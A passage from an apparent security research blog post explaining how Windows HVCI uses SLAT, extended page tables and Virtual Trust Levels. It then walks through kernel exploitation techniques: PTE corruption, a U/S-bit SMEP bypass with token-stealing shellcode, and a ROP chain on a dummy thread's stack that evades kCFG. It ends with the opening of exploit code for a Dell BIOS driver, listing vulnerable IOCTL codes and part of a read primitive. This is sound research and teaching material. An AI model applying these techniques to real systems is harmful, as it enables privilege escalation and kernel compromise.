The virtual machine doesn’t know the layout of the physical memory of the host OS, nor does it “see” the actual pages. The virtual machine operates on memory identically to how a normal system would - translating virtual addresses to physical addresses. However, behind the scenes, there is another technology (SLAT) which facilitates the process of taking the physical address the virtual machine thinks it is accessing and translating said physical memory into the actual physical memory on the physical computer - with the VM just operating as normal. Since the hypervisor, with SLAT enabled, is aware of both the virtual machine’s “view” of memory and the physical memory on the host - it can act as arbitrator to translate the memory the VM is accessing into the actual physical memory on the computer (we will come to a visual shortly if this is a bit confusing).

It is worth investigating why the hypervisor needs to perform this additional layer of translation in order to not only understand basic virtualization concepts - but to see how HVCI leverages SLAT for security purposes.

As an example - let’s say a virtual machine tries to access the virtual address 0x1ad0000 within the VM - which (for argument’s sake) corresponds to the physical memory address 0x1000 in the VM. Right off the bat we have to consider that all of this is happening within a virtual machine - which runs on the physical computer in a pre-defined location in memory on that physical computer (a child partition in a Hyper-V setup).

The VM can only access its own “view” of what it thinks the physical address 0x1000 is. The physical location in memory (since VMs run on a physical computer, they use the physical computer’s memory) where the VM is accessing (what it thinks is 0x1000) is likely not going to be located at 0x1000 on the physical computer itself. This can be seen below (please note that the below is just a visual representation, and may not represent things like memory fragmentation, etc.).

In the above image, the physical address of the VM located at 0x1000 is stored at the physical address of 0x4000 on the physical computer. So when the VM needs to access what it thinks is 0x1000, it actually needs to access the contents of 0x4000 on the physical computer.

This creates an issue, as the VM not only needs to compensate for “normal” paging to come to the conclusion that the virtual address in the VM, 0x1ad0000, corresponds to the physical address 0x1000 - but something needs to compensate for the fact that when the VM tries to access the physical address 0x1000 that the memory contents of 0x1000 (in context of the VM) are actually stored somewhere in the memory of the physical computer the VM is running on (in this case 0x4000).

To address this, the following happens: the VM walks the paging structures, starting with the base paging structure, PML4, in the CR3 CPU register within the VM (as is typical in “normal” memory access). Through paging, the VM would eventually come to the conclusion that the virtual address 0x1ad0000 corresponds to the physical address 0x1000. However, we know this isn’t the end of the conversion because although 0x1000 exists in context of the VM as 0x1000, that memory stored there is stored somewhere else in the physical memory of the physical computer (in this case 0x4000).

With SLAT enabled the physical address in the VM (0x1000) is treated as a guest physical address, or GPA, by the hypervisor. Virtual machines emit GPAs, which then are converted into a system physical address, or SPA, by the physical CPU. SPAs refer to the actual physical memory on the physical computer the VM(s) is/are running on.

The way this is done is through another set of paging structures called extended page tables (EPTs). The base paging structure for the extended page tables is known as the EPT PML4 structure - similarly to a “traditional” PML4 structure. As we know, the PML4 structure is used to further identify the other paging structures - which eventually lead to a 4KB-aligned physical page (on a typical Windows system). The same is true for the EPT PML4 - but instead of being used to convert a virtual address into a physical one, the EPT PML4 is the base paging structure used to map a VM-emitted guest physical address into a system physical address.

The EPT PML4 structure is referenced by a pointer known as the Extended Page Table Pointer, or EPTP. An EPTP is stored in a per-VCPU (virtual processor) structure called the Virtual Machine Control Structure, or VMCS. The VMCS holds various information, including state information about a VM and the host. The EPTP can be used to start the process of converting GPAs to SPAs for a given virtual machine. Each virtual machine has an associated EPTP.

To map guest physical addresses (GPAs) to system physical addresses (SPAs), the CPU “intercepts” a GPA emitted from a virtual machine. The CPU then takes the guest physical address (GPA) and uses the extended page table pointer (EPTP) from the VMCS structure for the virtual CPU the virtual machine is running under, and it uses the extended page tables to map the GPA to a system physical address (SPA).

The above process allows the hypervisor to map what physical memory the guest VM is actually trying to access, due to the fact the VM only has access to its own allocated address space (like when a child partition is created for the VM to run in).

The page table entries within the extended page tables are known as extended page table entries, or EPTEs. These act essentially the same as “traditional” PTEs - except for the fact that EPTEs are used to translate a GPA into an SPA - instead of translating a virtual address into a physical one (along with some other nuances). What this also means is that EPTEs are only used to describe physical memory (guest physical addresses and system physical addresses).

The reason why EPTEs only describe physical memory is pretty straightforward. The “normal” page table entries (PTEs) are already used to map virtual memory to physical memory - and they are also used to describe virtual memory. Think about a normal PTE structure - it stores some information which describes a given virtual page (readable, writable, etc.) and it also contains a page frame number (PFN) which, when multiplied by the size of a page (usually 0x1000), gives us the physical page backing the virtual memory. This means we already have a mechanism to map virtual memory to physical memory - so the EPTEs are used for GPAs and SPAs (physical memory).

Another interesting side effect of only applying EPTEs to physical memory is the fact that physical memory trumps virtual memory (we will talk more about how this affects traditional PTEs later and the level of enforcement on memory PTEs have when coupled with EPTEs).

For instance, if a given virtual page is marked as readable/writable/executable in its PTE - but the physical page backing that virtual page is described as only readable - any attempt to execute and/or write to the page will result in an access violation. Since the EPTEs describe physical memory and are managed by the hypervisor, the hypervisor can enforce its “view” of memory leveraging EPTEs - meaning that the hypervisor ultimately can decide how a given page of RAM should be defined. This is the key tenet of HVCI.

Think back to our virtual machine to physical machine example. The VM has its own view of memory, but ultimately the hypervisor had the “supreme” view of memory. It understands where the VM thinks it is accessing and it can correlate that to the actual place in memory on the physical computer. In other words, the hypervisor contains the “ultimate” view of memory.

Now, I am fully aware a lot of information has been mentioned above. At a high level, we should walk away with the following knowledge:

  1. It is possible to isolate a virtual machine in its own address space.
  2. It is possible to abstract the physical memory that truly exists on the host operating system away from the virtual machine.
  3. Physical memory trumps virtual memory (if virtual memory is read/write and the physical memory is read-only, any write to the region will cause an access violation).
  4. EPTEs facilitate the “supreme” view of memory, and have the “final say”.

The above concepts are the basis for HVCI (which we will expand upon in the next section).

Before leaving this section of the blog post - we should recall what was said earlier about HVCI:

HVCI is a feature under the umbrella of all that VBS offers (Credential Guard, etc.).

What this means is that Virtualization-Based Security is responsible for enabling HVCI. Knowing that VBS is responsible for enabling HVCI (should it be enabled on the host operating system which, as of Windows 11 and Windows 10 “Secured Core” PCs, it is by default), the last thing we need to look at is how VBS takes advantage of all of these virtualization technologies we have touched on in order to instrument HVCI.

Virtualization-Based Security

With Virtualization-Based Security enabled, the Windows operating system runs in a “virtual machine”, of sorts. Although Windows isn’t placed into a child partition, meaning it doesn’t have a VHD, or virtual hard disk - the hypervisor, at boot, makes use of all of the aforementioned principles and technologies to isolate the “standard” Windows kernel (e.g. what the end-user interfaces with) in its own region, similarly to how a VM is isolated. This isolation is manifest through Virtual Trust Levels, or VTLs. Currently there are two Virtual Trust Levels - VTL 1, which hosts the “secure kernel” and VTL 0, which hosts the “normal kernel” - with the “normal kernel” being what end-users interact with. Both of these VTLs are located in the root partition. You can think of these two VTLs as “isolated virtual machines”.

VTLs, similarly to virtual machines, provide isolation between the two environments (in this case between the “secure kernel” and the “normal kernel”). Microsoft considers the “secure” environment, VTL 1, to be a “more privileged entity” than VTL 0 - with VTL 0 being what a normal user interfaces with.

The goal of the VTLs is to create a higher security boundary (VTL 1) where if a normal user exploits a vulnerability in the kernel of VTL 0 (where all users are executing, only Microsoft is allowed in VTL 1), they are limited to only VTL 0. Historically, however, if a user compromised the Windows kernel, there was nothing else to protect the integrity of the system - as the kernel was the highest security boundary. Now, since VTL 1 is of a “higher boundary” than VTL 0 - even if a user exploits the kernel in VTL 0, there is still a component of the system that is totally isolated (VTL 1) from where the malicious user is executing (VTL 0).

It is crucial to remember that although VTL 0 is a “lower security boundary” than VTL 1 - VTL 0 doesn’t “live” in VTL 1. VTL 0 and VTL 1 are two separate entities - just as two virtual machines are two separate entities. On the same note - it is also crucial to remember that VBS doesn’t actually create virtual machines - VBS leverages the virtualization technologies that a hypervisor may employ for virtual machines in order to isolate VTL 0 and VTL 1. Microsoft instruments these virtualization technologies in such a way that, although VTL 1 and VTL 0 are separated like virtual machines, VTL 1 is allowed to impose its “will” on VTL 0. When the system boots, and the “secure” and “normal” kernels are loaded - VTL 1 is then allowed to “ask” the hypervisor, through a mechanism called a hypercall (more on this later in the blog post), if it can “securely configure” VTL 0 (which is what the normal user will be interfacing with) in a way it sees fit, when it comes to HVCI. VTL 1 can impose its will on VTL 0 - but it goes through the hypervisor to do this. To summarize - VTL 1 isn’t the hypervisor, and VTL 0 doesn’t live in VTL 1. VTL 1 works with the hypervisor to configure VTL 0 - and all three are their own separate entities. The following image is from Windows Internals, Part 1, 7th Edition - which visualizes this concept.

We’ve talked a lot now on SLAT and VTLs - let’s see how these technologies are both used to enforce HVCI.

After the “secure” and “normal” kernels are loaded - execution eventually redirects to the entry point of the “secure” kernel, in VTL 1. The secure kernel will set up SLAT/EPT, by asking the hypervisor to create a series of extended page table entries (EPTEs) for VTL 0 through the hypercall mechanism (more on this later). We can think of this as if we are treating VTL 0 as “the guest virtual machine” - just like how the hypervisor would treat a “normal” virtual machine. The hypervisor would set up the necessary EPTEs that would be used to map the guest physical addresses generated from a virtual machine into actual physical memory (system physical addresses). However, let’s recall the architecture of the root partition when VTLs are involved.

As we can see, both VTL 1 and VTL 0 reside within the root partition. This means that, theoretically, both VTL 1 and VTL 0 have access to the physical memory on the physical computer. At this point you may be wondering - if both VTL 1 and VTL 0 reside within the same partition - how is there any separation of address space/privileges? VTL 0 and VTL 1 seem to share the same physical address space. This is where virtualization comes into play!

Microsoft leverages all of the virtualization concepts we have previously talked about, and essentially places VTL 1 and VTL 0 into “VMs” (logically speaking) in which VTL 0 is isolated from VTL 1, and VTL 1 has control over VTL 0 - with this architecture being the basis of HVCI (more on the technical details shortly).

If we treat VTL 0 as “the guest” we then can use the hypervisor and CPU to translate addresses requested from VTL 0 (the hypervisor “manages” the EPTEs but the CPU performs the actual translation). Since GPAs are “intercepted”, in order for them to be converted into SPAs, this provides a mechanism (via SLAT) to “intercept” or “gate” any memory access stemming from VTL 0.

Here is where things get very interesting. Generally speaking, the GPAs emitted by VTL 0 actually map to the same physical memory on the system.

Let’s say VTL 0 requests to access the physical address 0x1000, as a result of a virtual address within VTL 0 being translated to the physical address 0x1000. The address of the GPA, which is 0x1000, is still located at an SPA of 0x1000. This is due to the fact that virtual machines, in Hyper-V, are confined to their respective partitions - and since VTL 1 and VTL 0 live in the same partition (the root), they “share” the same physical memory address space (which is the actual physical memory on the system).

So, since EPT (with HVCI enabled) isn’t used to “find” the physical address a GPA corresponds to on the system - due to the GPAs and SPAs mapping to the same physical address - what on earth could they be used for?

Instead of using extended page table entries to traverse the extended page tables in order to map one GPA to another SPA, the EPTEs are instead used to create a “second view” of memory - with this view describing all of RAM as either readable and writable (RW) but not executable - or readable and executable - but not writable, when dealing with HVCI. This ensures that no pages exist in the kernel which are writable and executable at the same time - which is a requirement for unsigned-code!

Recall that EPTEs are used to describe each physical page. Just as a virtual machine has its own view of memory, VTL 0 also has its own view of memory, which it manages through standard, normal PTEs. The key to remember, however, is that at boot - code in VTL 1 works with the hypervisor to create EPTEs which have the true definition of memory - while the OS in VTL 0 only has its view of memory. The hypervisor’s view of memory is “supreme” - as the hypervisor is a “higher security boundary” than the kernel, which historically managed memory. This, as mentioned, essentially creates two “mappings” of the actual physical memory on the system - one is managed by the Windows kernel in VTL 0, through traditional page table entries, and the other is managed by the hypervisor using extended page table entries.

Since we know EPTEs are used to describe physical memory, this can be used to override any protections that are set by the “traditional” PTEs themselves in VTL 0. And since the hypervisor’s view of virtual memory trumps the OS (in VTL 0) view - HVCI leverages the fact that since the EPTEs are managed by a more “trusted” boundary, the hypervisor, they are immutable in context of VTL 0 - where the normal users live.

As an example, let’s say you use the !pte command in WinDbg to view the PTE for a given virtual memory address in VTL 0, and WinDbg says that page is readable, writable, and executable. However, the EPTE (which is not transparent to VTL 0) may actually describe the physical page backing that virtual address as only readable. This means the page would be only readable - even though the PTE in VTL 0 says otherwise!

HVCI leverages SLAT/EPT in order to ensure that there are no pages in VTL 0 which can be abused to execute unsigned-code (by enforcing the aforementioned principles on RWX memory). It does this by guaranteeing that code pages never become writable - or that data pages never become executable. You can think of EPTEs being used (with HVCI) to basically create an additional “mapping” of memory, with all memory being either RW- or R-X, and with this “mapping” of memory trumping the “normal” enforcement of memory through normal PTEs. The EPTE “view” of memory is the “root of trust” now. These EPTEs are managed by the hypervisor, which VTL 0 cannot touch.

We know now that the EPTEs have the “true” definition of memory - so a logical question would now be “how does the request, from the OS, to setup an EPTE work if the EPTEs are managed by the hypervisor?” As an example, let’s examine how boot-loaded drivers have their memory protected by HVCI (the process of loading runtime drivers is different - but the mechanism (which is a hypercall - more on this later), used to apply SLAT page protections remains the same for runtime drivers and boot-loaded drivers).

We know that VTL 1 performs the request for the configuration of EPTEs in order to configure VTL 0 in accordance with HVCI (no memory that is writable and executable). This means that securekernel.exe - which is the “secure kernel” running in VTL 1 - must be responsible for this. Cross referencing the VSM startup section of Windows Internals, we can observe the following:

… Starts the VTL secure memory manager, which creates the boot table mapping and maps the boot loader’s memory in VTL 1, creates the secure PFN database and system hyperspace, initializes the secure memory pool support, and reads the VTL 0 loader block to copy the module descriptors for the Secure Kernel’s imported images (Skci.dll, Cnf.sys, and Vmsvcext.sys). It finally walks the NT loaded module list to establish each driver state, creating a NAR (normal address range) data structure for each one and compiling an Normal Table Entry (NTE) for every page composing the boot driver’s sections. FURTHERMORE, THE SECURE MEMORY MANAGER INITIALIZATION FUNCTION APPLIES THE CORRECT VTL 0 SLAT PROTECTION TO EACH DRIVER’S SECTIONS.

Let’s start with the “secure memory manager initialization function” - which is securekernel!SkmmInitSystem.

securekernel!SkmmInitSystem performs a multitude of things, as seen in the quote from Windows Internals. Towards the end of the function, the memory manager initialization function calls securekernel!SkmiConfigureBootDriverPages - which eventually “applies the correct VTL 0 SLAT protection to each [boot-loaded] driver’s sections”.

There are a few code paths which can be taken within securekernel!SkmiConfigureBootDriverPages to configure the VTL 0 SLAT protection for HVCI - but the overall “gist” is:

  1. Check if HVCI is enabled (via SkmiFlags).
  2. If HVCI is enabled, apply the appropriate protection.

As mentioned in Windows Internals, each of the boot-loaded drivers has each section (.text, etc.) protected by HVCI. This is done by iterating through each section of the boot-loaded drivers and applying the correct VTL 0 permissions. In the specific code path shown below, this is done via the function securekernel!SkmiProtectSinglePage.

Notice that securekernel!SkmiProtectSinglePage has its second argument as 0x102. Examining securekernel!SkmiProtectSinglePage a bit further, we can see that this function (in the particular manner securekernel!SkmiProtectSinglePage is called within securekernel!SkmiConfigureBootDriverPages) will call securekernel!ShvlProtectContiguousPages under the hood.

securekernel!ShvlProtectContiguousPages is called because if the if ((a2 & 0x100) != 0) check is satisfied in the above function call (and it will be satisfied, because the provided argument was 0x102 - which, when bitwise AND’d with 0x100, does not equal 0), the function that will be called is securekernel!ShvlProtectContiguousPages. The last argument provided to securekernel!ShvlProtectContiguousPages is the appropriate protection mask for the VTL 0 page. Remember - this code is executing in VTL 1, and VTL 1 is allowed to configure the “true” memory permission (via EPTEs) VTL 0 as it sees fit.

securekernel!ShvlProtectContiguousPages, under the hood, invokes a function called securekernel!ShvlpProtectPages - essentially acting as a “wrapper”.

Looking deeper into securekernel!ShvlpProtectPages, we notice some interesting functions with the word “hypercall” in them.

Grabbing one of these functions (securekernel!ShvlpInitiateVariableHypercall will be used, as we will see later), we can see it is a wrapper for securekernel!HvcallpInitiateHypercall - which ends up invoking securekernel!HvcallCodeVa.

I won’t get into the internals of this function - but securekernel!HvcallCodeVa emits a vmcall assembly instruction - which is like a “Hyper-V syscall”, called a “hypercall”. This instruction will hand execution off to the hypervisor. Hypercalls can be made by both VTL 1 and VTL 0.

When a hypercall is made, the “hypercall call code” (similar to a syscall ID) is placed into RCX in the lower 16 bits. Additional values are appended in the RCX register, as defined by the Hypervisor Top-Level Functional Specification, known as the “hypercall input value”.

Each hypercall returns a “hypercall status code” - which is a 16-byte value (whereas NTSTATUS codes are 32-bit). For instance, a code of HV_STATUS_SUCCESS means that the hypercall completed successfully.

Specifically, in our case, the hypercall call code associated with securekernel!ShvlpProtectPages is 0xC.

If we cross reference this hypercall call code with the the Appendix A: Hypercall Code Reference of the TLFS - we can see that 0xC corresponds with the HvCallModifyVtlProtectionMask - which makes sense based on the operation we are trying to perform. This hypercall will “configure” an immutable memory protection (SLAT protection) on the in-scope page (in our scenario, a page within one of the boot-loaded driver’s sections), in context of VTL 0.

We can also infer, based on the above image, that this isn’t a fast call, but a rep (repeat) call. Repeat hypercalls are broken up into a “series” of hypercalls because hypercalls only have a 50 microsecond interval to finish before other components (interrupts for instance) need to be serviced. Repeated hypercalls will eventually be finished when the thread executing the hypercall resumes.

To summarize this section - with HVCI there are two views of memory - one managed by the hypervisor, and one managed by the Windows kernel through PTEs. Not only does the hypervisor’s view of memory trump the Windows kernel view of memory - but the hypervisor’s view of memory is immutable from the “normal” Windows kernel. An attacker, even with a kernel-mode write primitive, cannot modify the permissions of a page through PTE manipulation anymore.

Let’s actually get into our exploitation to test these theories out.

HVCI - Exploitation Edition

As I have blogged about before, a common way kernel-mode exploits manifest themselves is the following (leveraging an arbitrary read/write primitive):

  1. Write a kernel-mode payload to kernel mode (could be KUSER_SHARED_DATA) or user mode.
  2. Locate the page table entry that corresponds to that page the payload resides.
  3. Corrupt that page table entry to mark the page as KRWX (kernel, read, write, and execute).
  4. Overwrite a function pointer (nt!HalDispatchTable + 0x8 is a common method) with the address of your payload and trigger the function pointer to gain code execution.

HVCI is able to combat this because of the fact that a PTE is “no longer the source of truth” for what permissions that memory page actually has. Let’s look at this in detail.

As we know, KUSER_SHARED_DATA + 0x800 is a common code cave abused by adversaries (although this is not possible in future builds of Windows 11). Let’s see if we can abuse it with HVCI enabled.

Note that using Hyper-V it is possible to enable HVCI while also disabling Secure Boot. Secure Boot must be disabled for kernel debugging. After disabling Secure Boot we can then enable HVCI, which can be found in the Windows Security settings under Core Isolation -> Memory Integrity. Memory Integrity is HVCI.

Let’s then manually corrupt the PTE of 0xFFFFF78000000000 + 0x800 to make this page readable/writable/executable (RWX).

0xFFFFF78000000000 + 0x800 should now be fully readable, writable, and executable. This page is empty (doesn’t contain any code) so let’s write some NOP instructions to this page as a proof-of-concept. When 0xFFFFF78000000000 + 0x800 is executed, the NOP instructions should be dispatched.

We then can load this address into RIP to queue it for execution, which should execute our NOP instructions.

The expected outcome, however, is not what we intend. As we can see, executing the NOPs crashes the system. This is even in the case of us explicitly marking the page as KRWX. Why is this? This is due to HVCI! Since HVCI doesn’t allow RAM to be RWX, the physical page backing KUSER_SHARED_DATA + 0x800 is “managed” by the EPTE (meaning the EPTEs’ definition of the physical page is the “root of trust”). Since the EPTE is managed by the hypervisor - the original memory allocation of read/write in KUSER_SHARED_DATA + 0x800 is what this page is - even though we marked the PTE (in VTL 0) as KRWX! Remember - EPTEs are “the root of trust” in this case - and they enforce their permissions on the page - regardless of what the PTE says. The result is us trying to execute code which looks executable in the eyes of the OS (in VTL 0), because the PTE says so - but in fact, the page is not executable. Therefore we get an access violation due to the fact we are attempting to execute memory which isn’t actually executable! This is because the hypervisor’s “view” of memory, managed by the EPTEs, trumps the view our VTL 0 operating system has - which instead relies on “traditional” PTEs.

This is all fine and dandy, but what about exploits that allocate RWX user-mode code, write shellcode that will be executed in the kernel into the user-mode allocation, and then use a kernel read/write primitive, similarly to the first example in this blog post to corrupt the PTE of the user-mode page to mark it as a kernel-mode page? If this were allowed to happen - as we are only manipulating the U/S bit and not manipulating the executable bits (NX) - this would violate HVCI in a severe way - as we now have fully-executable code in the kernel that we can control the contents of.

Practically, an attacker would start by allocating some user-mode memory (via VirtualAlloc or similar APIs/C-runtime functions). The attacker marks this page as readable/writable/executable. The attacker would then write some shellcode into this allocation (usually kernel exploits use token-stealing shellcode, but other times an attacker may want to use something else). The key here to remember is that the memory is currently sitting in user mode.

This allocation is located at 0x1ad0000 in our example (U in the PTE stands for a user-mode page).

Using a kernel vulnerability, an attacker would arbitrarily read memory in kernel mode in order to resolve the PTE that corresponds to this user-mode shellcode located at 0x1ad0000. Using the kernel vulnerability, an attacker could corrupt the PTE bits to tell the memory manager that this page is now a kernel-mode page (represented by the letter K).

Lastly, using the vulnerability again, the attacker overwrites a function pointer in kernel mode that, when executed, will actually execute our user-mode code.

Now you may be thinking - “Connor, you just told me that the kernel doesn’t allow RWX memory with HVCI enabled? You just executed RWX memory in the kernel! Explain yourself!”.

Let’s first start off by understanding that all user-mode pages are represented as RWX within the EPTEs - even with HVCI enabled. After all, HVCI is there to prevent unsigned-code from being executed in the kernel. You may also be thinking - “Connor, doesn’t that violate the basic principle of DEP in user-mode?”. In this case, no it doesn’t. Recall that earlier in this blog post we said the following:

(we will talk more about how this affects traditional PTEs later and the level of enforcement on memory PTEs have when coupled with EPTEs).

Let’s talk about that now.

Remember that HVCI is used to ensure there is no kernel-mode RWX memory. So, even though the EPTE says a user-mode page is RWX, the PTE (for a user-mode page) will enforce DEP by marking data pages as non-executable. This non-executable permission on the PTE will enforce the NX permission. Recall that we said EPTEs can “trump” PTEs - we didn’t say they always do this in 100 percent of cases. A case where the PTE is used, instead needing to “go” to the EPTE, would be DEP. If a given page is already marked as non-executable in the PTE, why would the EPTE need to be checked? The PTE itself would prevent execution of code in this page, it would be redundant to check it again in the EPTE. Instead, an example of when the EPTE is checked if a PTE is marked as executable. The EPTE is checked to ensure that page is actually executable. The PTE is the first line of defense. If something “gets around the PTE” (e.g. a page is executable) the CPU will check the EPTE to ensure the page actually is executable. This is why the EPTEs mark all user-mode pages as RWX, because the PTE itself already enforces DEP for the user-mode address space.

The EPTE structure doesn’t have a U/S bit and, therefore, relies on the current privilege level (CPL) of a processor executing code to enforce if code should be executed as kernel mode or user mode. The CPU, in this case, will rely on the standard page table entries to determine what the CPL of the code segment should be when code is executing - meaning an attacker can take advantage of the fact that user-mode pages are marked as RWX, by default, in the EPTEs, and then flip the U/S bit to a supervisor (kernel) page. The CPU will then execute the code as kernel mode.

This means that the only thing to enforce the kernel/user boundary (for code execution purposes) is the CPU (via SMEP). SMEP, as we know, essentially doesn’t allow user-mode code execution from the kernel. So, to get around this, we can use PTE corruption (as shown in my previously-linked blog on PTE overwrites) to mark a user-mode page as a kernel-mode one. When the kernel now goes to execute our shellcode it will “recognize” the shellcode page (technically in the user-mode address space) as a kernel-mode page. EPTEs don’t have a “bit” to define if a given page is kernel or user, so it relies on the already existing SMEP technology to enforce this - which uses “normal” PTEs to determine if a given page is a kernel-mode or user-mode page. Since the EPTEs are only looking at the executable permissions, and not a U/S bit - this means the “old” primitive of “tricking” the CPU into executing a “fake” kernel-mode page exists - as EPTEs still rely on the CPU to enforce this boundary. So when a given user-mode page is being executed, the EPTEs assume this is a user-mode page - and will gladly execute it. The CPU, however, has it’s code segment executing in ring 0 (kernel mode) because the PTE of the page was corrupted to mark it as a “kernel-mode” page (a la the “U/S SMEP bypass”).

To compensate for this, Intel has a hardware solution known as Mode-Based Execution Control, or MBEC. For CPUs that cannot support MBEC Microsoft has its own emulation of MBEC called Restricted User Mode, or RUM.

I won’t get into the nitty-gritty details of the nuanced differences between RUM and MBEC, but these are solutions which mitigate the exact scenario I just mentioned. Essentially what happens is that anytime execution is in the kernel on Windows, all of the user-mode pages as non-executable. Here is how this would look (please note that the EPTE “bits” are just “psuedo” EPTE bits, and are not indicative of what the EPTE bits actually look like).

First, the token-stealing payload is allocated in user-mode as RWX. The PTE is then corrupted to mark the shellcode page as a kernel-mode page.

Then, as we know, the function pointer is overwritten and execution returns to user-mode (but the code is executed in context of the kernel).

Notice what happens above. At the EPTE level (this doesn’t occur at the PTE level) the page containing the shellcode is marked as non-executable. Although the diagram shows us clearing the execute bit, the way the user-mode pages are marked as non-executable is actually done by adding an extra bit in the EPTE structure that allows the EPTE for the user-mode page to be marked as non-executable while execution is residing in the kernel (e.g. the code segment is “in ring 0”). This bit is a member of the EPTE structure that we can refer to as “ExecuteForUserMode”.

This is an efficient way to mark user-mode code pages as non-executable. When kernel-mode code execution occurs, all of the EPTEs for the user-mode pages are simply just marked as non-executable.

MBEC is really great - but what about computers which support HVCI but don’t support MBEC (which is a hardware technology)? For these cases Microsoft implemented RUM (Restricted User Mode). RUM achieves the same thing as MBEC, but in a different way. RUM essentially forces the hypervisor to keep a second set of EPTEs - with this “new” set having all user-mode pages marked as non-executable. So, essentially using the same method as loading a new PML4 address into CR3 for “normal” paging - the hypervisor can load the “second” set of extended page tables (with this “new/second” set marking all user-mode as non-executable) into use. This means each time execution transitions from kernel-mode to user-mode, the paging structures are swapped out - which increases the overhead of the system. This is why MBEC is less strenuous - as it can just mark a bit in the EPTEs. However, when MBEC is not supported - the EPTEs don’t have this ExecuteForUserMode bit - and rely on the second set of EPTEs.

At this point we have spent a lot of time talking about HVCI, MBEC, and RUM. We can come to the following conclusions now:

  1. PTE manipulation to achieve unsigned-code execution is impossible
  2. Any unsigned-code execution in the kernel is impossible

Knowing this, a different approach is needed. Let’s talk about now how we can use an arbitrary read/write primitive to our advantage to get around HVCI, MBEC/RUM, without being limited to only hot-swapping tokens for privilege escalation.

From Read/Write To Arbitrary Kernel-Mode Function Invocation

I did a writeup of a recent Dell BIOS driver vulnerability awhile ago, where I achieved unsigned-code execution in the kernel via PTE manipulation. Afterwards I tweeted out that readers should take into account that this exploit doesn’t consider VBS/HVCI. I eventually received a response from @d_olex on using a different method to take advantage of a kernel-mode vulnerability, with HVCI enabled, by essentially putting together your own kernel-mode API calls.

This was about a year ago - and I have been “chewing” on this idea for awhile. Dmytro later released a library outlining this concept.

This technique is the basis for how we will “get around” VBS/HVCI in this blog. We can essentially instrument a kernel-mode ROP chain that will allow us to call into any kernel-mode API we wish (while redirecting execution in a way that doesn’t trigger Kernel Control Flow Guard, or kCFG).

Why might we want to do this - in-lieu of the inability to execute shellcode, as a result of HVCI? The beauty of executing unsigned-code is the fact that we aren’t just limited to something like token stealing. Shellcode also provides us a way to execute arbitrary Windows API functions, or further corrupt memory. Think about something like a Cobalt Strike Beacon agent - it leverages Windows API functions for network communications, etc. - and is foundational to most malware.

Although with HVCI we can’t invoke our own shellcode in the kernel - it is still possible to “emulate” what kernel-mode shellcode may intend to do, which is calling arbitrary functions in kernel mode. Here is how we can achieve this:

  1. In our exploit, we can create a “dummy” thread in a suspended state via CreateThread.
  2. Assuming our exploit is running from a “normal” process (running in medium integrity), we can use NtQuerySystemInformation to leak the KTHREAD object associated with the suspended thread. From here we can leak KTHREAD.StackBase - which would give us the address of the kernel-mode stack in order to write to it (each thread has its own stack, and stack control is a must for a ROP chain)
  3. We can locate a return address on the stack and corrupt it with our first ROP gadget, using our kernel arbitrary write vulnerability (this gets around kCFG, or Control Flow Guard in the kernel, since kCFG doesn’t inspect backwards edge control-flow transfers like ret. However, in the future when kCET (Control-Flow Enforcement Technology in the Windows kernel) is mainstream on Windows systems, ROP will not work - and this exploit technique will be obsolete).
  4. We then can use our ROP chain in order to call an arbitrary kernel-mode API. After we have called our intended kernel mode API(s), we then end our ROP chain with a call to the kernel-mode function nt!ZwTerminateThread - which allows us to “gracefully” exit our “dummy” thread without needing to use ROP to restore the execution we hijacked.
  5. We then call ResumeThread on the suspended thread in order to kick off execution.

Again - I just want to note. This is not an “HVCI bypass” post. HVCI doesn’t not suffer from any vulnerability that this blog post intends to exploit. Instead, this blog shows an alternative method of exploitation that allows us to call any kernel-mode API without triggering HVCI.

Before continuing on - let’s just briefly touch on why we are opting to overwrite a return address on the stack instead of a function pointer - as many of my blogs have done this in the past. As we saw with my previous browser exploitation blog series, CFG is a mitigation that is pretty mainstream on Windows systems. This is true since Windows 10 RS2 - when it came to the kernel. kCFG is present on most systems today - and it is an interesting topic. The CFG bitmap consists of all “valid” functions used in control-flow transfers. The CFG dispatch functions check this bitmap when an indirect-function call happens to ensure that a function pointer is not overwritten with a malicious function. The CFG bitmap (in user mode) is protected by DEP - meaning the bitmap is read-only, so an attacker cannot modify it (the bitmap is stored in ntdll!LdrSystemDllInitBlock+0x8). We can use our kernel debugger to switch our current process to a user-mode process which loads ntdll.dll to verify this via the PTE.

This means an attacker would have to first bypass CFG (in context of a binary exploit which hijacks control-flow) in order to call an API like VirtualProtect to mark this page as writable. Since the permissions are enforced by DEP - the kernel is the security boundary which protects the CFG bitmap, as the PTE (stored in kernel mode) describes the bitmap as read-only. However, when talking about kCFG (in the kernel) there would be nothing that protects the bitmap - since historically the kernel was the highest security boundary. If an adversary has an arbitrary kernel read/write primitive - an adversary could just modify the kCFG bitmap to make everything a valid call target, since the bitmap is stored in kernel mode. This isn’t good, and means we need an “immutable” boundary to protect this bitmap. Recall, however, that with HVCI there is a higher security boundary - the hypervisor!

kCFG is only fully enabled when HVCI is enabled. SLAT is used to protect the kCFG bitmap. As we can see below, when we attempt to overwrite the bitmap, we get an access violation. This is due to the fact that although the PTE for the kCFG bitmap says it is writable, the EPTE can enforce that this page is not writable - and therefore, with kCFG, non-modifiable by an adversary.

So, since we cannot just modify the bitmap to allow us to call anywhere in the address space, and since kCFG will protect function pointers (like nt!HalDispatchTable + 0x8) and not return addresses (as we saw in the browser exploitation series) - we can simply overwrite a return address to hijack control flow. As mentioned previously, kCET will mitigate this - but looking at my current Windows 11 VM (which has a CPU that can support kCET), kCET is not enabled. This can be checked via nt!KeIsKernelCetEnabled and nt!KeIsKernelCetAuditModeEnabled (both return a boolean - which is false currently).

Now that we have talked about control-flow hijacking, let’s see how this looks practically! For this blog post we will be using the previous Dell BIOS driver exploit I talked about to demonstrate this. To understand how the arbitrary read/write primitive works, I highly recommend you read that blog first. To summarize briefly, there are IOCTLs within the driver that allow us to read one kernel-mode QWORD at a time and to write one QWORD at a time, from user mode, into kernel mode.

“Dummy Thread” Creation to KTHREAD Leak

First, our exploit begins by defining some IOCTL codes and some NTSTATUS codes.

//
// Vulnerable IOCTL codes
//
#define IOCTL_WRITE_CODE 0x9B0C1EC8
#define IOCTL_READ_CODE 0x9B0C1EC4

//
// NTSTATUS codes
//
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
#define STATUS_SUCCESS 0x00000000

Let’s also outline our - read64() and write64(). These functions give us an arbitrary read/write primitive (I won’t expand on these. See the blog post related to the vulnerability for more information.

read64():

ULONG64 read64(HANDLE inHandle, ULONG64 WHAT)
{
	//
	// Buffer to send to the driver (read primitive)
	//
	ULONG64 inBuf[4] = { 0 };

	//
	// Values to send
	//
